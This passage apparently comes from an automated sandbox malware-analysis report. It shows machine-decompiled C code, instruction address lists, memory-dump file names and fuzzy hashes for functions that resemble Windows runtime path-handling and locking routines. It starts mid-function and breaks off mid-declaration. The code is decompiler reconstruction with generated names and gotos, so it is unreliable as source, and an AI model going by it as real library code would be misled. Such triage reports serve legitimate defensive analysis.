															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E0467F720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E0467F720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E046352A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E0464EB70(1, 0x47279a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E0464AA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E046795D0();
																			L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E0467B640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E04673D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E0467B640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x04654128
0x04654135
0x0465413c
0x04654141
0x04654145
0x04654147
0x0465414e
0x04654151
0x04654159
0x0465415c
0x04654160
0x04654164
0x04654168
0x0465416c
0x0465417f
0x04654181
0x0465446a
0x0465446a
0x0465418c
0x04654195
0x04654199
0x04654432
0x04654439
0x0465443d
0x04654442
0x04654447
0x00000000
0x0465419f
0x046541a3
0x046541b1
0x046541b9
0x046541bd
0x046545db
0x046545db
0x00000000
0x046541c3
0x046541c3
0x046541ce
0x046541d4
0x0469e138
0x0469e13e
0x0469e169
0x0469e16d
0x0469e19e
0x0469e16f
0x0469e16f
0x0469e175
0x0469e179
0x0469e18f
0x0469e193
0x00000000
0x0469e199
0x00000000
0x0469e199
0x0469e193
0x00000000
0x00000000
0x00000000
0x046541da
0x046541da
0x046541df
0x046541e4
0x046541ec
0x04654203
0x04654207
0x0469e1fd
0x04654222
0x04654226
0x0469e1f3
0x0469e1f3
0x0465422c
0x0465422c
0x04654233
0x0469e1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x04654239
0x04654239
0x04654239
0x04654239
0x04654233
0x04654226
0x046541ee
0x046541ee
0x046541f4
0x04654575
0x0469e1b1
0x0469e1b1
0x00000000
0x0465457b
0x0465457b
0x04654582
0x0469e1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x04654588
0x04654588
0x0465458c
0x0469e1c4
0x0469e1c4
0x00000000
0x04654592
0x04654592
0x04654599
0x0469e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x0465459f
0x0465459f
0x046545a3
0x0469e1d7
0x0469e1e4
0x00000000
0x046545a9
0x046545a9
0x046545b0
0x0469e1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x046545b6
0x046545b6
0x046545b6
0x00000000
0x046545b6
0x046545b0
0x046545a3
0x04654599
0x0465458c
0x04654582
0x00000000
0x00000000
0x00000000
0x00000000
0x046541f4
0x0465423e
0x04654241
0x046545c0
0x046545c4
0x00000000
0x046545ca
0x046545ca
0x00000000
0x0469e207
0x0469e20f
0x00000000
0x00000000
0x00000000
0x00000000
0x046545d1
0x00000000
0x00000000
0x046545ca
0x00000000
0x04654247
0x04654247
0x04654247
0x04654249
0x04654249
0x04654249
0x04654251
0x04654251
0x04654257
0x0465425f
0x0465426e
0x04654270
0x0465427a
0x0469e219
0x0469e219
0x04654280
0x04654282
0x04654456
0x046545ea
0x00000000
0x046545f0
0x0469e223
0x00000000
0x0469e223
0x0465445c
0x0465445c
0x00000000
0x0465445c
0x00000000
0x04654288
0x0465428c
0x0469e298
0x04654292
0x04654292
0x0465429e
0x046542a3
0x046542a7
0x046542ac
0x0469e22d
0x046542b2
0x046542b2
0x046542b9
0x046542bc
0x046542c2
0x046542ca
0x046542cd
0x046542cd
0x046542d4
0x0465433f
0x0465433f
0x046542d6
0x046542d6
0x046542d9
0x046542dd
0x046542eb
0x0469e23a
0x046542f1
0x04654305
0x0465430d
0x04654315
0x04654318
0x0465431f
0x04654322
0x0465432e
0x0465433b
0x0465433b
0x00000000
0x0465432e
0x046542eb
0x0465434c
0x0465434e
0x04654352
0x04654359
0x0465435e
0x04654361
0x0465436e
0x0465438a
0x0465438e
0x04654396
0x0465439e
0x046543a1
0x046543ad
0x046543bb
0x046543bb
0x046543ad
0x0465436e
0x046543bf
0x046543c5
0x04654463
0x04654463
0x046543ce
0x046543d5
0x046543d9
0x046543df
0x04654475
0x04654479
0x04654491
0x04654491
0x04654479
0x046543e5
0x046543eb
0x046543f4
0x046543f6
0x046543f9
0x046543fc
0x046543ff
0x046544e8
0x046544ed
0x046544f3
0x0469e247
0x00000000
0x046544f9
0x04654504
0x04654508
0x0465450f
0x0469e269
0x00000000
0x04654515
0x04654519
0x04654531
0x04654534
0x04654537
0x0465453e
0x04654541
0x0465454a
0x0469e255
0x0469e255
0x0469e25b
0x0469e25e
0x0469e261
0x0469e261
0x04654555
0x04654559
0x0465455d
0x0469e26d
0x0469e270
0x0469e274
0x0469e27a
0x0469e27d
0x0469e28e
0x0469e28e
0x04654563
0x04654563
0x04654569
0x04654569
0x00000000
0x0465455d
0x0465450f
0x00000000
0x046544f3
0x046543ff
0x04654405
0x04654405
0x04654405
0x046542ac
0x0465428c
0x04654282
0x04654407
0x0465440d
0x0469e2af
0x0469e2af
0x04654413
0x04654413
0x00000000
0x046541d4
0x00000000
0x046541c3
0x046541bd
0x04654415
0x04654415
0x04654416
0x04654417
0x04654429
0x0465416e
0x0465416e
0x04654175
0x04654498
0x0465449f
0x0469e12d
0x00000000
0x0469e133
0x00000000
0x0469e133
0x046544a5
0x046544a5
0x046544aa
0x00000000
0x046544bb
0x046544ca
0x046544d6
0x046544d7
0x046544d8
0x046544e3
0x046544e3
0x046544aa
0x0465417b
0x0465417b
0x0465417b
0x00000000
0x0465417b
0x04654175
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82bec36a7d26a16f528f609e14d69819230bfe8aff120b8f864f4eab0a3d7cb
Instruction ID: eb09daf8fd5148ab7c8929f9d56690d398fe2f3b228d6e455ba247e02cb5e819
Opcode Fuzzy Hash: c82bec36a7d26a16f528f609e14d69819230bfe8aff120b8f864f4eab0a3d7cb
Instruction Fuzzy Hash: 0FF16D706083518BCB24CF59C480B3AB7E5EF98714F14496EF8868B3A0FB75E981DB52

Uniqueness

Uniqueness Score: -1.00%

Function 046620A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E046620A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0x4728714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E04662EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E04662EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E046358EC(_t240);
									_t221 =  *0x4725cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0x4725cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E04674A2C(0x4726e40, 0x4674b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E04657D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x4615c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E0466F6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E0466F6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E046B7016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L04652400(_t267 + 0x20);
															}
															L04652400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E04662397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E04652280(_t134, 0x4728608);
									__eflags =  *0x4726e48 - _t253; // 0xa7df30
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E0464FFB0(_t198, _t241, 0x4728608);
										__eflags = _t253;
										if(_t253 != 0) {
											L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0x4726e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0x4728608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E04666B90(_t210,  &_v64);
										_t262 =  *0x4728608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E0466E180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E046797C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E0467006A(0x4728608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0x4728608);
												E0467B180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0x4726904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0x4726e48; // 0xa7df30
							_v72 = _t229;
							if(_t229 == 0) {
								L45:
								E0464FFB0(_t198, _t240, 0x4728608);
								_t253 = _v76;
								goto L29;
							}
							if( *((char*)(_t229 + 0x40)) != 0) {
								L13:
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E046700C2(0x4728608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
							_t18 = _t229 + 0x38; // 0x9
							if( *_t18 !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								goto L45;
							}
							goto L13;
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x046620a0
0x046620a8
0x046620ad
0x046620b3
0x046620b8
0x046620c2
0x046620c7
0x046620cb
0x046620d2
0x04662263
0x04662266
0x046a5836
0x046a5836
0x00000000
0x0466226c
0x0466226c
0x04662270
0x04662274
0x046620e2
0x046620e2
0x046620e6
0x046620ee
0x046a57dc
0x046a57de
0x046a57ec
0x046a57ec
0x046a57f1
0x046a57f3
0x046a57f8
0x00000000
0x046a57f8
0x046a57e0
0x046a57e4
0x046a57ea
0x00000000
0x00000000
0x00000000
0x046a57ea
0x046620f4
0x046620f4
0x046620f8
0x046620f8
0x046620fc
0x04662100
0x04662106
0x04662201
0x04662206
0x0466220b
0x0466220e
0x046622a9
0x046622ac
0x00000000
0x00000000
0x046622b2
0x046622b5
0x046a5801
0x046a5806
0x00000000
0x00000000
0x046a5810
0x046a5815
0x046a5818
0x00000000
0x00000000
0x046a581e
0x046622bb
0x046622bb
0x04662218
0x04662218
0x0466221c
0x04662220
0x04662222
0x046622c2
0x046622c4
0x046622dc
0x046622dc
0x046622e1
0x00000000
0x00000000
0x00000000
0x046622e7
0x046622c8
0x046622cd
0x046622d3
0x046622d6
0x046a5823
0x046a5825
0x046a5827
0x00000000
0x00000000
0x046a582d
0x00000000
0x046a582d
0x00000000
0x04662228
0x04662228
0x00000000
0x04662228
0x04662222
0x04662214
0x04662214
0x00000000
0x04662114
0x04662114
0x04662114
0x0466211a
0x0466211c
0x04662348
0x0466234d
0x046a5840
0x046a5845
0x046a5848
0x046a584e
0x046a584e
0x046a5848
0x04662353
0x04662355
0x04662388
0x04662388
0x04662368
0x0466236a
0x0466236c
0x0466238f
0x00000000
0x0466236e
0x0466236e
0x0466218e
0x0466218e
0x04662191
0x04662195
0x046a5a03
0x046a5a06
0x046a5a0c
0x046a5a0f
0x046a5a11
0x046a5a13
0x046a5a13
0x046a5a19
0x046a5a1f
0x00000000
0x0466219b
0x0466219b
0x046621a0
0x04662282
0x04662284
0x04662284
0x04662284
0x04662284
0x046621a6
0x046621a9
0x046621ac
0x046621ae
0x046621b3
0x0466228b
0x04662290
0x04662379
0x04662296
0x04662298
0x04662298
0x04662290
0x046621b9
0x046621be
0x046622a2
0x046622a2
0x046621c4
0x046621c8
0x046621cc
0x046621d0
0x046621d4
0x046621de
0x046621e3
0x046a5a29
0x046a5a2c
0x00000000
0x00000000
0x046a5a3b
0x00000000
0x046621e9
0x046621e9
0x046621e9
0x046621ee
0x046621f1
0x046a5a45
0x046a5a4b
0x046a5a52
0x046a5a58
0x046a5a5d
0x046a5a5f
0x046a5a71
0x046a5a61
0x046a5a6a
0x046a5a6a
0x046a5a76
0x046a5a79
0x046a5a7f
0x046a5a83
0x046a5a85
0x046a5a87
0x046a5a87
0x046a5a8c
0x046a5a91
0x046a5a97
0x046a5a9f
0x046a5aa0
0x046a5aa1
0x046a5aa6
0x046a5aab
0x046a5ab1
0x046a5ab3
0x046a5ab9
0x046a5aca
0x046a5ad4
0x046a5ad4
0x046a5ade
0x046a5ade
0x046a5aab
0x046a5a79
0x046a5a52
0x046621f7
0x046621f9
0x046621fe
0x046621fe
0x046621e3
0x04662195
0x0466236c
0x04662122
0x04662122
0x04662124
0x04662231
0x04662236
0x04662236
0x04662238
0x04662238
0x04662240
0x04662242
0x04662244
0x046a59fc
0x0466218c
0x0466218c
0x00000000
0x0466218c
0x0466224a
0x0466224f
0x04662256
0x04662304
0x04662309
0x0466230f
0x0466231e
0x0466231e
0x0466231e
0x04662320
0x04662325
0x0466232a
0x0466232c
0x0466233e
0x0466233e
0x00000000
0x0466232c
0x04662311
0x04662317
0x0466231a
0x0466231c
0x04662380
0x04662380
0x04662380
0x04662384
0x00000000
0x00000000
0x04662386
0x00000000
0x0466231c
0x0466225c
0x0466225c
0x00000000
0x0466225c
0x0466212a
0x04662134
0x04662138
0x0466213d
0x046a5858
0x046a5863
0x046a5863
0x046a5867
0x046a586a
0x00000000
0x00000000
0x046a586c
0x046a586c
0x046a5871
0x046a5875
0x046a5877
0x046a5997
0x046a599c
0x046a59a1
0x046a59a7
0x046a59a7
0x00000000
0x046a59a7
0x046a587d
0x00000000
0x046a588b
0x046a588b
0x046a5890
0x046a5892
0x046a5894
0x046a5899
0x046a589b
0x046a58a0
0x046a58a0
0x046a58aa
0x046a58b2
0x046a58b6
0x046a58be
0x046a58c6
0x046a58c9
0x046a590d
0x046a5917
0x046a591a
0x046a591c
0x046a5920
0x046a5928
0x046a592a
0x046a592c
0x046a592e
0x046a592e
0x046a58cb
0x046a58cd
0x046a58d8
0x046a58e0
0x046a58f4
0x046a58fe
0x046a58fe
0x046a593a
0x046a593e
0x046a5940
0x046a5942
0x00000000
0x046a5944
0x046a5944
0x046a5949
0x046a594e
0x046a594e
0x046a5953
0x046a595b
0x046a5976
0x046a5976
0x046a597a
0x046a597f
0x00000000
0x00000000
0x00000000
0x00000000
0x046a5981
0x046a5981
0x046a5981
0x046a5983
0x046a5988
0x046a598d
0x046a5991
0x046a5991
0x00000000
0x046a595d
0x046a595d
0x046a5963
0x046a5965
0x00000000
0x00000000
0x00000000
0x00000000
0x046a5967
0x046a5967
0x046a596b
0x046a596d
0x00000000
0x00000000
0x046a596f
0x046a5971
0x046a5971
0x046a5974
0x00000000
0x00000000
0x00000000
0x046a5974
0x00000000
0x046a5967
0x046a595b
0x046a5942
0x046a5863
0x04662143
0x04662143
0x04662149
0x0466214f
0x046622ec
0x046622f1
0x046622f6
0x00000000
0x046622f6
0x04662159
0x04662173
0x04662173
0x0466217d
0x04662181
0x04662186
0x046a59ae
0x046a59b2
0x046a59b5
0x046a59b7
0x046a59ba
0x046a59cd
0x046a59d1
0x046a59d5
0x046a59d9
0x046a59db
0x00000000
0x00000000
0x046a59dd
0x046a59dd
0x046a59e1
0x046a59e4
0x046a59e7
0x046a59ee
0x046a59ee
0x046a59f3
0x046a59f3
0x00000000
0x04662186
0x04662164
0x0466216d
0x00000000
0x00000000
0x00000000
0x0466216d
0x04662106
0x04662266
0x046620d8
0x046620da
0x046620e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f413e2a7d4d6b29b1a77452ac38073734d97ecfaf9f5ce0f7ad608bc9bd1a32
Instruction ID: ce91b9d8fdedf0e1f355a2de3d471a3176b3d7060e9bd4116086f9cb7c5221c3
Opcode Fuzzy Hash: 8f413e2a7d4d6b29b1a77452ac38073734d97ecfaf9f5ce0f7ad608bc9bd1a32
Instruction Fuzzy Hash: 00F1F231A08741AFE725DF28C45076AB7E5AF95324F04899DE9969B380F735F841CF82

Uniqueness

Uniqueness Score: -1.00%

Function 0464D5E0, Relevance: .4, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E0464D5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
